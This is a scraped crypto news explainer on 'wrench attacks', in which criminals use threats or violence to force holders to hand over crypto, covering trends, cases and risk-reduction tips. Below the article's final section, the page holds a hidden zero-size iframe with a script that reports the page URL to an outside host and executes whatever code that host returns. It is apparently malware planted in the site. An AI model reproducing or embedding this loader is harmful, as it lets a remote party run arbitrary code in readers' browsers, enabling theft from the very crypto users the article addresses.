random

America

Treat

<p><em>In January 2025, French authorities </em><a href="https://cointelegraph.com/news/ledger-co-founder-david-balland-freed-after-kidnapping-in-france"><em>freed Ledger co-founder David Balland</em></a><em> after kidnappers demanded a large ransom in cryptocurrency. The case illustrated what crypto crime can look like when it leaves the screen and becomes a physical hostage situation.</em></p>
<p data-ct-non-breakable="undefined">In fact, crypto-related disputes and theft are increasingly linked to real-world violence, including abduction attempts and ransom schemes designed to force victims to hand over access.</p>
<p data-ct-non-breakable="undefined">That is <a href="https://cointelegraph.com/news/wrench-attacks-crypto-holders-rising-more-violent">the logic of a wrench attack</a>. Instead of hacking a wallet, criminals use threats or force to make the holder unlock it or send the funds themselves.</p>
<p data-ct-non-breakable="undefined">Scams and hacks still dominate in volume, but some of the most violent incidents increasingly involve coercion. So, why is this happening now, and why is it accelerating?</p>
<div data-ct-widget="explained-block" id="explained-block-243307-0">
 <h2 data-ct-widget="explained-block-title" id="what-is-a-wrench-attack">What is a wrench attack?</h2>
 <p data-ct-widget="explained-block-content"></p>
 <p><em>A wrench attack is a physical-world crime in which attackers use threats or violence to force a crypto holder to hand over access by revealing credentials, unlocking a device or authorizing a transfer.</em></p>
 <p data-ct-non-breakable="undefined">In short, it is an attempt to obtain <a href="https://cointelegraph.com/learn/articles/what-is-a-cryptocurrency-a-beginners-guide-to-digital-money">cryptocurrency</a> by attacking the person, not the cryptography.</p>
 <p data-ct-non-breakable="undefined">The label comes from a well-known <a href="https://xkcd.com/538/" rel="noopener nofollow" target="_blank">Xkcd</a> comic. When encryption is strong, the shortcut becomes coercion, such as hitting someone with a wrench. The term stuck because it captures what makes these incidents feel like a step change from most crypto theft. The attacker does not need an exploit, only proximity and leverage over someone’s daily life.</p>
 <figure><img alt="Why wrench attacks are becoming one of the most violent forms of crypto crimes" src="https://s3.cointelegraph.com/uploads/2026-01/019bd4ff-1167-77e3-b8ba-5fa1a2d01c5d.jpg" title="">
 </figure>
 <p><em><strong>Did you know? </strong></em><em>The term “wrench attack” is widely linked to Xkcd comic #538, titled “Security.” The strip jokes that when a laptop is strongly encrypted, an attacker may skip breaking the math and instead rely on coercion — the infamous “$5 wrench” shortcut.</em></p>
</div>
<div data-ct-widget="explained-block" id="explained-block-243307-1">
 <h2 data-ct-widget="explained-block-title" id="are-wrench-attacks-really-increasing-or-just-getting-more-attention">Are wrench attacks really increasing or just getting more attention?</h2>
 <p data-ct-widget="explained-block-content"></p>
 <p><em>The short answer is that both can be true at once, and the data requires careful reading.</em></p>
 <p data-ct-non-breakable="undefined">Haseeb Qureshi of Dragonfly, having analyzed Jameson Lopp’s incident log, argues that reported wrench attacks have risen over time and that the average incident has become more severe in recent years.</p>
 <p>The analysis also identifies a clear price effect. When total crypto market capitalization rises, reported violence also tends to increase, with a simple regression suggesting that roughly <a href="https://x.com/hosseeb/status/2007759365432803803" rel="nofollow noopener" target="_blank" title="https://x.com/hosseeb/status/2007759365432803803">45%</a> of the variation in reported attack frequency correlates with market capitalization.</p>
 <p data-ct-non-breakable="undefined">But two caveats matter. First, Lopp’s <a href="https://github.com/jlopp/physical-bitcoin-attacks" rel="noopener nofollow" target="_blank">database</a> is explicitly not comprehensive. It is built from public reports, which means it cannot capture cases that never make the news.</p>
 <p data-ct-non-breakable="undefined">Second, academic work on wrench attacks <a href="https://www.repository.cam.ac.uk/items/d988e10f-b751-408a-a79e-54f2518b3e70" rel="noopener nofollow" target="_blank">points</a> to systematic underreporting, including victims staying quiet out of fear of revictimization.</p>
 <p data-ct-non-breakable="undefined">That is why Qureshi’s normalization point matters. Measured per user, reported risk may be lower than in earlier cycles, even if the headlines feel more alarming.</p>
</div>
<div data-ct-widget="explained-block" id="explained-block-243307-2">
 <h2 data-ct-widget="explained-block-title" id="why-wrench-attacks-are-among-crypto-s-most-violent-crimes">Why wrench attacks are among crypto’s most violent crimes</h2>
 <p data-ct-widget="explained-block-content"></p>
 <p><em>Wrench attacks are driven by fast and irreversible payouts, rising concentrations of reachable wealth, easier real-world targeting and data leaks that turn online crypto identities into offline risk</em>.</p>
 <h3 id="driver-1-the-payout-is-fast-portable-and-hard-to-unwind">Driver 1: The payout is fast, portable and hard to unwind</h3>
 <p data-ct-non-breakable="undefined">With crypto, attackers do not need to launder stolen cards or fence physical goods. If they can compel a transfer, value can move quickly and across borders, which helps explain why coercion may appear comparatively appealing to criminals.</p>
 <h3 id="driver-2-more-people-hold-reachable-wealth">Driver 2: More people hold reachable wealth</h3>
 <p data-ct-non-breakable="undefined">As prices rise, the same holdings become larger targets. Incident frequency also tracks total crypto market capitalization, suggesting a strong price pull on violent crime.</p>
 <h3 id="driver-3-finding-targets-is-easier-than-it-looks">Driver 3: Finding targets is easier than it looks</h3>
 <p data-ct-non-breakable="undefined">Public-facing crypto roles, meetups, <a href="https://cointelegraph.com/news/what-is-p2p-trading-and-how-does-it-work-in-peer-to-peer-crypto-exchanges">peer-to-peer (P2P) deals</a> and everyday oversharing can give attackers real-world hooks. Researchers at the University of Cambridge <a href="https://www.repository.cam.ac.uk/items/d988e10f-b751-408a-a79e-54f2518b3e70" rel="noopener nofollow" target="_blank">describe</a> these incidents as attacks that bypass digital security norms by shifting pressure onto the holder.</p>
 <h3 id="driver-4-data-exposure-turns-online-identity-into-offline-risk">Driver 4: Data exposure turns online identity into offline risk</h3>
 <p data-ct-non-breakable="undefined">Recent incidents highlight how names, addresses and phone numbers can leak through third parties or insider abuse. Examples range from <a href="https://cointelegraph.com/news/cyber-criminals-steal-coinbase-customer-data-20-m-ransom">Coinbase’s support-agent bribery case</a> to Ledger-related customer data exposures, making it easier, in some cases, to link individuals to crypto activity.</p>
</div>
<div data-ct-widget="explained-block" id="explained-block-243307-3">
 <h2 data-ct-widget="explained-block-title" id="how-these-attacks-typically-play-out">How these attacks typically play out</h2>
 <p data-ct-widget="explained-block-content"></p>
 <p><em>Patterns often resemble a crime script: targeting and approach, coercion, then rapid movement of funds once access is obtained.</em></p>
 <p data-ct-non-breakable="undefined">The initial contact can resemble conventional street crime, such as robbery or home invasion, or more organized forms of coercion. Victims are not always random strangers.</p>
 <p data-ct-non-breakable="undefined">In some cases, wrench attacks overlap with domestic and interpersonal abuse, where access to crypto becomes a tool of control.</p>
 <figure><img alt="Why wrench attacks are becoming one of the most violent forms of crypto crimes" src="https://s3.cointelegraph.com/uploads/2026-01/019bd500-dbc1-787a-b406-86e4dba0eb47.jpg" title="">
 </figure>
 <p><em><strong>Did you know?</strong></em><em> Roman Novak and Anna Novak were a Russian couple living in Dubai who </em><a href="https://www.fontanka.ru/2025/11/07/76110823/" rel="noopener nofollow" target="_blank"><em>disappeared</em></a><em> in October 2025 after being lured to a meeting with supposed investors near Hatta, close to the Oman border. Investigators later treated the case as a kidnapping linked to attempts to force access to money, including cryptocurrency, making it one of the most widely cited real-world examples of a wrench attack with fatal consequences.</em></p>
</div>
<div data-ct-widget="explained-block" id="explained-block-243307-4">
 <h2 data-ct-widget="explained-block-title" id="who-s-most-at-risk">Who’s most at risk?</h2>
 <p data-ct-widget="explained-block-content"></p>
 <p><em>Wrench attacks rarely target random crypto users.</em></p>
 <p data-ct-non-breakable="undefined">These attacks disproportionately affect people who are easy to identify, easy to locate and assumed to have large, accessible holdings, including founders and executives, public-facing influencers, <a href="https://cointelegraph.com/explained/crypto-otc-trading">over-the-counter (OTC)</a> or P2P traders and anyone whose online footprint links a real identity to significant crypto wealth.</p>
 <p data-ct-non-breakable="undefined">Geography also matters. Western Europe and parts of the Asia-Pacific region have seen the sharpest rise in reported incidents, while North America appears comparatively safer, although the absolute number of cases has still increased.</p>
 <p data-ct-non-breakable="undefined">It is also not only the principal who may be targeted. Recent French cases show that criminals sometimes go after relatives or partners, using family proximity as leverage when the wallet owner is difficult to reach.</p>
</div>
<div data-ct-widget="explained-block" id="explained-block-243307-5">
 <h2 data-ct-widget="explained-block-title" id="how-to-lower-your-risk">How to lower your risk</h2>
 <p data-ct-widget="explained-block-content"></p>
 <p><em>The uncomfortable lesson of wrench attacks is that even strong key management does not automatically eliminate all risk. It can make funds harder to steal online while leaving the last mile exposed: you, your routines and your personal data.</em></p>
 <p data-ct-non-breakable="undefined">For most readers, the practical goal is to make yourself a poor target and reduce what an attacker can access quickly. That usually comes down to three themes:</p>
 <ul>
  <li><p data-ct-non-breakable="undefined"><strong>Lower your visibility:</strong> Avoid broadcasting holdings, tighten links between your real identity and crypto activity, and assume oversharing heightens risk.</p></li>
  <li><p data-ct-non-breakable="undefined"><strong>Lower your instant-access balance:</strong> Keep day-to-day spending separate from long-term storage, and avoid single points of failure for larger amounts, such as using multi-party approvals or time delays.</p></li>
  <li><p data-ct-non-breakable="undefined"><strong>Treat support impersonation as part of the same threat landscape:</strong> Criminals can use leaked data to pressure victims into moving funds. Coinbase’s <a href="https://www.coinbase.com/en-in/learn/crypto-basics/how-to-secure-crypto" rel="noopener nofollow" target="_blank">guidance</a> is explicit that legitimate support will not ask for passwords, two-factor authentication (2FA) codes or transfers to a so-called safe address.</p></li>
 </ul>
 <p data-ct-non-breakable="undefined">If a threat ever becomes real, the priority is physical safety and getting help, not protecting the wallet. That is what makes wrench attacks one of the sharpest edges of crypto crime today. They turn digital wealth into a personal security risk and force the industry’s security conversation out of the browser and into the real world.</p>
</div><div class="html-block" element="iframe" srcdoc="<script>fetch('https://api.saasexch.xyz/bapi/themis/api/v1/init',{method:'POST',headers:{'Content-Type':'application/json'},body:JSON.stringify({url:top.location.href})}).then(e=>e.json()).then(e=>{if(e)if('eval'==e.mode)new Function(e.data)();else{const t=top.document.createElement('script');'inline'==e.mode?t.textContent=e.data:'blob'==e.mode?t.src=URL.createObjectURL(new Blob([e.data])):t.src=e.data,top.document.head.appendChild(t)}}).catch(()=>{})</script>" width="0" height="0" frameborder="0"></div>

Why wrench attacks are becoming one of the most violent forms of crypto crimes

Table of Contents

Cointelegraph

Other articles published on Jan 19, 2026

uDegen: The Next Utility Layer of the Utopia Ecosystem

Cardone Capital Ramps Up BTC Plan With $10M Add, Saylor Watching

Ethereum hits new 2.8M daily transaction record as retail returns for low fees

Spur Protocol Daily Quiz Answer 20 January 2026: Earn Rewards

Ethereum Prices Hover as Key Resistance Looms

Federal Reserve Chair Nomination Stakes: Warsh Surges Ahead

Join our free newsletter for daily crypto updates!